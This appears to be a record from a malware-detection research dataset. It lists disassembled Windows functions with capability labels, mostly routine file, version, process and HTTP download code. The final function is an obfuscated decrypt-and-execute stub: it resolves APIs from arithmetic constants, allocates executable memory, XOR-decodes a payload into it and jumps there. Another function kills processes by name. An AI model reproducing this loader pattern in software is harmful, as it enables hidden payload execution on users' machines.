joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4111b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43733a
mov eax, dword fs:[0]
push eax
sub esp, 0x42c
mov eax, dword [0x451008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
test ecx, ecx
je 0x411393
call fcn.0040d750
mov edi, eax
test edi, edi
je 0x411395
xor ebx, ebx
lea eax, [ebp - 0x218]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x41123a
push 8
call fcn.0041ab28
add esp, 4
mov dword [ebp - 0x424], eax
lea ecx, [ebp - 0x218]
mov dword [ebp - 4], 4
push ecx
mov ecx, eax
call fcn.0040d2b0
mov ebx, eax
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov dword [ebp - 0x42c], eax
lea eax, [ebp - 0x420]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x41128a
push 8
call fcn.0041ab28
add esp, 4
mov dword [ebp - 0x424], eax
lea ecx, [ebp - 0x420]
mov dword [ebp - 4], 0x1b
push ecx
mov ecx, eax
call fcn.0040d2b0
mov dword [ebp - 0x42c], eax
mov dword [ebp - 4], 0xffffffff
push 0x14
mov dword [ebp - 0x430], 0
mov esi, 9
call fcn.0041b26a
add esp, 4
mov dword [ebp - 0x428], eax
push 0xffffffffffffffff
push str._DESKTOP_
push 0xa
push eax
lea eax, [ebp - 0x430]
push eax
call fcn.00426d70
xor ecx, ecx
add esp, 0x14
test eax, eax
cmovne esi, ecx
mov dword [ebp - 0x424], esi
push ebx
lea eax, [ebp - 0x428]
mov dword [ebp - 4], 0x20
push eax
mov ecx, edi
call fcn.0040eb20
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x428]
test eax, eax
je 0x411301
push 2
push eax
call fcn.0041aef0
add esp, 8
push 0xe
mov dword [ebp - 0x424], 0
mov esi, 6
call fcn.0041b26a
add esp, 4
mov dword [ebp - 0x434], eax
push 0xffffffffffffffff
push str._TEMP_
push 7
push eax
lea eax, [ebp - 0x424]
push eax
call fcn.00426d70
xor ecx, ecx
add esp, 0x14
test eax, eax
cmovne esi, ecx
mov dword [ebp - 0x430], esi
mov esi, dword [ebp - 0x42c]
lea eax, [ebp - 0x434]
push esi
push eax
mov ecx, edi
mov dword [ebp - 4], 0x21
call fcn.0040eb20
mov eax, dword [ebp - 0x434]
test eax, eax
je 0x411377
push 2
push eax
call fcn.0041aef0
add esp, 8
test ebx, ebx
je 0x411383
push ecx
mov ecx, ebx
call fcn.00409b80
test esi, esi
je 0x41138f
push ecx
mov ecx, esi
call fcn.00409b80
mov eax, edi
jmp 0x411395
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041ab17
mov esp, ebp
pop ebp
ret

Function at 0x411530
Capabilities:
Delete file

Disassembly:
push ebx
xor bl, bl
test ecx, ecx
je 0x41155c
push esi
call fcn.0040e6a0
mov esi, eax
test esi, esi
je 0x411557
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 2
push esi
mov bl, al
call fcn.0041aef0
add esp, 8
pop esi
mov al, bl
pop ebx
ret
mov al, bl
pop ebx
ret
Function at 0x411560
Capabilities:
Get file version info

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4373b7
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x70
mov eax, dword [0x451008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
call fcn.0041ab28
mov esi, eax
add esp, 4
mov dword [ebp - 0x3c], esi
mov dword [ebp - 4], 0
push 0xa
mov dword [esi], 0
mov dword [ebp - 0x28], 0
mov dword [esi + 4], 4
call fcn.0041b26a
mov ecx, dword [esi + 4]
add esp, 4
inc ecx
mov dword [esi], eax
push 0xffffffffffffffff
push str.0.00
push ecx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00426d70
add esp, 0x14
test eax, eax
je 0x4115fa
mov dword [esi + 4], 0
mov ecx, edi
mov dword [ebp - 4], 0xffffffff
call fcn.0040e6a0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x28], eax
push ecx
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x411729
push eax
call fcn.0041b26a
add esp, 4
mov edi, eax
mov dword [ebp - 0x30], edi
push edi
push dword [ebp - 0x2c]
push dword [ebp - 0x34]
push dword [ebp - 0x28]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x41171a
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0x44b628
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x41171a
mov eax, dword [ebp - 0x2c]
movups xmm1, xmmword [eax]
movups xmm0, xmmword [eax + 0x10]
psrldq xmm1, 8
movd ecx, xmm1
movups xmmword [ebp - 0x6c], xmm0
movups xmm0, xmmword [eax + 0x20]
movzx eax, cx
push eax
shr ecx, 0x10
lea eax, [ebp - 0x24]
push ecx
push str._d._02d
push eax
movups xmmword [ebp - 0x5c], xmm0
call fcn.00410de0
lea edi, [ebp - 0x24]
mov dword [ebp - 0x38], 0
add esp, 0x10
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x4116a8
sub edi, ecx
mov edx, 2
xor ecx, ecx
lea esi, [edi + 1]
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041b26a
add esp, 4
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x24]
push 0xffffffffffffffff
push ecx
push esi
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.00426d70
xor ecx, ecx
add esp, 0x14
test eax, eax
cmovne edi, ecx
mov dword [ebp - 0x40], edi
mov dword [ebp - 4], 1
lea eax, [ebp - 0x44]
mov esi, dword [ebp - 0x3c]
mov ecx, esi
push eax
call fcn.0040de20
mov eax, dword [ebp - 0x44]
test eax, eax
je 0x411717
push 2
push eax
call fcn.0041aef0
add esp, 8
mov edi, dword [ebp - 0x30]
test edi, edi
je 0x411729
push 1
push edi
call fcn.0041aef0
add esp, 8
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x41173b
push 2
push eax
call fcn.0041aef0
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041ab17
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x411bf0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x437378
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x451008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor bl, bl
test ecx, ecx
je 0x411d0d
mov eax, dword [ebp + 8]
or eax, dword [ebp + 0xc]
je 0x411d0d
call fcn.0040e6a0
mov edi, eax
test edi, edi
je 0x411d0d
push 0
push 0x80
push 1
push 0
push 0
push 0x120116
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x411c84
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x411c7b
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x411d02
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x4c
mov esi, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0x25
call fcn.0041b26a
mov ecx, eax
mov eax, dword [ebp - 0x14]
push 0xffffffffffffffff
push str.CreateFile_failed_with_error_code:__d
inc eax
mov dword [ebp - 0x18], ecx
push eax
push ecx
lea eax, [ebp - 0x10]
push eax
call fcn.00426d70
mov ecx, dword [ebp - 0x14]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x14], ecx
push esi
lea eax, [ebp - 0x18]
mov dword [ebp - 4], edx
push eax
push 0x45a
push str.OFileManager::createEmptyFile
push str.d:jenkinsworkspaceclient3.lib.platformlibplatformlib_srcofilemanager.cpp
push edx
call fcn.00416c20
mov eax, dword [ebp - 0x18]
add esp, 0x30
test eax, eax
je 0x411d02
push 2
push eax
call fcn.0041aef0
add esp, 8
push 2
push edi
call fcn.0041aef0
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411e70
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x451008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push edi
push 0x208
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x208], ebx
mov dword [ebp - 0x210], ebx
call fcn.0041b26a
add esp, 4
mov edi, eax
push 0x104
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test edi, edi
je 0x411faa
lea eax, [ebp - 0x20c]
push eax
push edi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov dword [ebp - 0x218], eax
test eax, eax
je 0x411fa1
push esi
push eax
call fcn.0041b26a
add esp, 4
mov esi, eax
mov dword [ebp - 0x214], esi
push esi
push dword [ebp - 0x218]
push dword [ebp - 0x20c]
push edi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x411fa0
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x21c]
push eax
push str.VarFileInfoTranslation
push esi
mov esi, dword [sym.imp.VERSION.dll_VerQueryValueW]
call esi
mov ecx, dword [ebp - 0x21c]
push str.ProductName
movzx eax, word [ecx + 2]
push eax
movzx eax, word [ecx]
push eax
push str.StringFileInfo_04x_04x_s
lea eax, [ebp - 0x204]
push 0x100
push eax
call fcn.00410e00
add esp, 0x18
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x204]
push eax
push dword [ebp - 0x214]
call esi
test eax, eax
je 0x411f8d
cmp dword [ebp - 0x208], ebx
jbe 0x411f8d
mov ecx, dword [ebp - 0x210]
call fcn.0040d7d0
mov ebx, eax
mov ecx, ebx
call fcn.0040ed40
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x411fa0
push eax
call fcn.0041b273
add esp, 4
pop esi
push edi
call fcn.0041b273
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.0041ab17
mov esp, ebp
pop ebp
ret
Function at 0x412320
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4374fb
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1230
call fcn.00434ff0
mov eax, dword [0x451008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1238], ecx
xor edi, edi
mov dword [ebp - 0x122c], edi
test ecx, ecx
je 0x412576
lea eax, [ebp - 0x1234]
push eax
push 0x1000
lea eax, [ebp - 0x1220]
push eax
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x412576
xor eax, eax
test dword [ebp - 0x1234], 0xfffffffc
mov dword [ebp - 0x1230], eax
jbe 0x412578
nop dword [eax]
nop dword [eax + eax]
push dword [ebp + eax*4 - 0x1220]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x123c], esi
test esi, esi
je 0x412558
mov eax, dword [0x44b830]
movups xmm0, xmmword [str._Unknown_]
push 0x1f4
mov dword [ebp - 0x210], eax
lea eax, [ebp - 0x20c]
push 0
push eax
movups xmmword [ebp - 0x220], xmm0
call fcn.0041c390
add esp, 0xc
lea eax, [ebp - 0x220]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameW]
lea esi, [ebp - 0x220]
lea ecx, [esi + 2]
nop
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x412430
sub esi, ecx
mov edx, 2
sar esi, 1
xor ecx, ecx
mov dword [ebp - 0x1224], esi
lea eax, [esi + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041b26a
mov ecx, eax
add esp, 4
mov dword [ebp - 0x1228], ecx
test ecx, ecx
je 0x41249b
xor eax, eax
xor edx, edx
mov word [ecx + esi*2], ax
test esi, esi
je 0x4124a5
lea edi, [ebp - 0x220]
mov eax, ecx
sub edi, ecx
mov cx, word [edi + eax]
lea eax, [eax + 2]
inc edx
mov word [eax - 2], cx
cmp edx, esi
jb 0x412483
mov edi, dword [ebp - 0x122c]
jmp 0x4124a5
mov dword [ebp - 0x1224], 0
lea ecx, [ebp - 0x1228]
mov dword [ebp - 4], 0
call fcn.004114a0
mov esi, eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1228]
test eax, eax
je 0x4124df
push 2
push eax
call fcn.0041aef0
add esp, 8
mov dword [ebp - 0x1228], 0
mov dword [ebp - 0x1224], 0
test esi, esi
je 0x412558
mov ecx, dword [esi]
test ecx, ecx
je 0x41252f
cmp dword [esi + 4], 0
jbe 0x41252f
mov edx, dword [ebp - 0x1238]
mov eax, dword [edx]
test eax, eax
je 0x41252f
cmp dword [edx + 4], 0
jbe 0x41252f
push eax
push ecx
call fcn.0041e7f3
add esp, 8
test eax, eax
jne 0x41252f
mov ecx, dword [ebp - 0x123c]
call fcn.00411fc0
test eax, eax
cmovne edi, eax
mov dword [ebp - 0x122c], edi
mov eax, dword [esi]
test eax, eax
je 0x412546
push 2
push eax
call fcn.0041aef0
add esp, 8
mov dword [esi], 0
push 8
push esi
mov dword [esi + 4], 0
call fcn.0041aef0
add esp, 8
mov eax, dword [ebp - 0x1230]
mov ecx, dword [ebp - 0x1234]
inc eax
shr ecx, 2
mov dword [ebp - 0x1230], eax
cmp eax, ecx
jb 0x4123c0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041ab17
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4125a0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x451008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x23c], edi
test edi, edi
je 0x4126e1
push 0
push 2
mov dword [ebp - 0x238], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea eax, [ebp - 0x238]
push eax
push ebx
mov dword [ebp - 0x240], ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x4126da
lea eax, [ebp - 0x238]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x4126da
lea edx, [eax + 1]
lea esi, [ebp - 0x214]
lea ecx, [esi + 2]
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x412620
sub esi, ecx
xor ecx, ecx
sar esi, 1
lea eax, [esi + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041b26a
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4126b8
xor eax, eax
mov word [ebx + esi*2], ax
test esi, esi
je 0x4126ad
lea edi, [ebp - 0x214]
mov ecx, ebx
sub edi, ebx
mov edx, esi
mov ax, word [edi + ecx]
lea ecx, [ecx + 2]
mov word [ecx - 2], ax
sub edx, 1
jne 0x412662
mov edi, dword [ebp - 0x23c]
test esi, esi
je 0x4126ad
mov eax, dword [edi]
test eax, eax
je 0x4126ad
cmp dword [edi + 4], edx
jbe 0x4126ad
push eax
push ebx
call fcn.0041e7f3
add esp, 8
test eax, eax
jne 0x4126ad
push dword [ebp - 0x230]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 2
push ebx
call fcn.0041aef0
add esp, 8
mov ebx, dword [ebp - 0x240]
lea eax, [ebp - 0x238]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov edx, 2
cmp eax, 1
je 0x412613
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041ab17
mov esp, ebp
pop ebp
ret
Function at 0x412b10
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43765f
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x451008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [edi], vtable.OInputStream.0
mov dword [ebp - 4], 0
mov esi, 9
push 0x14
mov dword [ebp - 0x10], 0
call fcn.0041b26a
push 0xffffffffffffffff
push str.ODownload
mov ebx, eax
lea eax, [ebp - 0x10]
push 0xa
push ebx
push eax
mov dword [ebp - 0x1c], ebx
call fcn.00426d70
xor ecx, ecx
add esp, 0x18
test eax, eax
cmovne esi, ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x24]
call fcn.0040d340
lea esi, [edi + 4]
mov byte [ebp - 4], 2
lea eax, [ebp - 0x24]
mov dword [ebp - 0x10], esi
push eax
lea ecx, [esi + 0x10]
mov dword [esi], vtable.OThread.0
call fcn.0040d3c0
mov dword [esi + 4], 0
mov word [esi + 8], 0
mov dword [esi + 0xc], 0xfffffffe
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x412bd4
push 2
push eax
call fcn.0041aef0
add esp, 8
test ebx, ebx
je 0x412be3
push 2
push ebx
call fcn.0041aef0
add esp, 8
lea ecx, [edi + 0x20]
mov dword [edi], vtable.ODownload.1.0
mov dword [esi], vtable.ODownload.0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x48], 0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 0
mov dword [edi + 0x54], 0
mov dword [edi + 0x58], 0
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov byte [ebp - 4], 9
mov dword [edi + 0x1c], eax
call fcn.0040de20
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x28], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 0x2c], eax
mov eax, dword [ebp + 0x18]
mov dword [edi + 0x30], eax
mov eax, dword [ebp + 0x1c]
mov dword [edi + 0x34], eax
mov dword [edi + 0x3c], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x40], 0
mov eax, dword [esi + 4]
mov byte [esi + 9], 1
test eax, eax
jne 0x412c98
push eax
push 4
push esi
push 0x4183b0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push dword [esi + 0xc]
mov dword [esi + 4], eax
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [esi + 4]
test eax, eax
je 0x412c9f
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x412dc0
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43769e
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x451008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xor esi, esi
mov byte [ebp - 0xd], 0
cmp dword [ebp + 0x14], 2
mov eax, 0x800000
cmove esi, eax
mov eax, dword [edi + 0x1c]
lea ecx, [eax*8 + 0x453454]
call fcn.0040e6a0
push esi
push 0
push 0
push 0
push dword [ebp + 0x34]
mov ebx, eax
push ebx
push dword [edi + 0x5c]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [edi + 0x60], eax
test ebx, ebx
je 0x412e33
push 2
push ebx
call fcn.0041aef0
add esp, 8
mov eax, dword [edi + 0x60]
test eax, eax
je 0x412fa5
push 0
push 0x10000
push fcn.00412db0
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSetStatusCallback]
push 0x20000000
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [edi + 0x2c], 0
jg 0x412e93
jl 0x412e6a
cmp dword [edi + 0x28], 0
ja 0x412e93
cmp dword [edi + 0x34], 0
jg 0x412e93
jl 0x412e78
cmp dword [edi + 0x30], 0
ja 0x412e93
push edi
push 0
push 0
push 0
push 0
push 0
push dword [edi + 0x60]
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov bl, al
jmp 0x412f4e
push 8
call fcn.0041ab28
add esp, 4
mov dword [ebp + 0x40], eax
push str.Range:_bytes
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.0040d220
mov dword [ebp - 4], 0xffffffff
mov esi, eax
push dword [edi + 0x2c]
mov ecx, esi
push dword [edi + 0x28]
call fcn.0040df30
push 8
mov dword [ebp - 0x14], 0x2d
call fcn.0041ab28
add esp, 4
mov dword [ebp + 0x40], eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 1
push ecx
mov ecx, eax
call fcn.0040d2b0
mov ebx, eax
mov dword [ebp - 4], 0xffffffff
test ebx, ebx
je 0x412f0c
push ebx
mov ecx, esi
call fcn.0040e1f0
push ecx
mov ecx, ebx
call fcn.00409b80
mov ecx, dword [edi + 0x30]
add ecx, dword [edi + 0x28]
mov eax, dword [edi + 0x34]
adc eax, dword [edi + 0x2c]
push eax
push ecx
mov ecx, esi
call fcn.0040df30
mov ecx, esi
call fcn.0040e6a0
mov esi, eax
test esi, esi
je 0x412f68
push edi
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push dword [edi + 0x60]
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push 2
push esi
mov bl, al
call fcn.0041aef0
add esp, 8
test bl, bl
je 0x412f68
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x3c
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x412f8f
cmp eax, 0x20000000
je 0x412f8f
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x3c
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x3c
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x3c
Function at 0x4184d0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, ecx
cmp dword [esi + 4], 0
je 0x418579
cmp byte [esi + 8], 0
mov ecx, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
jne 0x41854d
push ebx
push edi
mov byte [esi + 8], 1
mov edi, 0x64
nop word [eax + eax]
lea ebx, [edi - 1]
mov dword [ebp - 8], ebx
xor bl, bl
cmp byte [esi + 9], bl
je 0x418531
mov eax, dword [esi + 4]
test eax, eax
je 0x418531
lea edx, [ebp - 4]
push edx
push eax
call ecx
test eax, eax
je 0x418531
cmp dword [ebp - 4], 0x103
mov eax, 1
movzx ebx, bl
cmovne ebx, eax
xor edi, edi
test bl, bl
push 0x64
cmove edi, dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test edi, edi
jne 0x418500
pop edi
pop ebx
cmp byte [esi + 9], 0
je 0x41856e
mov eax, dword [esi + 4]
test eax, eax
je 0x41856e
lea edx, [ebp - 8]
push edx
push eax
call ecx
test eax, eax
je 0x41856e
cmp dword [ebp - 8], 0x103
jne 0x418579
push 1
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4186b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
mov esi, ecx
lea eax, [ebp + 8]
push 1
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
add dword [esi + 8], eax
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4186e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
mov esi, ecx
lea eax, [ebp + 8]
push 2
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
add dword [esi + 8], eax
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x418710
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
mov esi, ecx
lea eax, [ebp + 8]
push 4
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
add dword [esi + 8], eax
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x418740
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
mov esi, ecx
lea eax, [ebp + 8]
push 8
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
add dword [esi + 8], eax
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x418770
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
mov esi, ecx
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
add dword [esi + 8], eax
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x465a8f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x465a9e
pop dword [ebp - 0x28]
mov eax, 0x465a9e
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xaf42bd34
add dword [ebp - 0x38], 0x9f0f8817
mov dword [ebp - 0x34], 0xd50ddb2f
add dword [ebp - 0x34], 0x5d257116
mov dword [ebp - 0x30], 0x6f3e7f80
sub dword [ebp - 0x30], 0x22f23b52
mov dword [ebp - 0x2c], 0x65c5df26
sub dword [ebp - 0x2c], 0x65c5df26
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xe40bc271
add dword [ebp - 0x38], 0x9066a6e5
mov dword [ebp - 0x34], 0xb31490b9
sub dword [ebp - 0x34], 0x71a82f44
mov dword [ebp - 0x30], 0xa3e81399
sub dword [ebp - 0x30], 0x4078a72d
mov dword [ebp - 0x2c], 0x6062bda9
add dword [ebp - 0x2c], 0x9f9d4257
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x2546a9d9
add eax, 0xdb03c7bb
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x5cbda
push 0
call eax
mov ecx, 0x3b5c
xor esi, esi
add esi, eax
mov edx, 0x12c396d1
sub edx, 0x12765ed1
add edx, dword [ebp - 0x28]
mov ebx, 0x9d7369c5
sub ebx, 0x52e8c7
sub dword [ebp - 4], edx
mov edi, dword [edx]
xor dword [ebp - 0x18], esi
xor edi, ebx
mov dword [ebp - 0x14], 0xc5c779f1
mov dword [esi], edi
add esi, 0xa423635
add esi, 0xf5bdc9cf
add edx, 4
loop 0x465bb2
add eax, 0x65368484
add eax, 0x9aca5bbf
mov ebx, eax
add eax, 0xf879859f
sub eax, 0xf879859a
mov ecx, 0x3e70e007
add ecx, 0xc1cf1ff9
add ecx, dword [ebp - 0x28]
call ebx
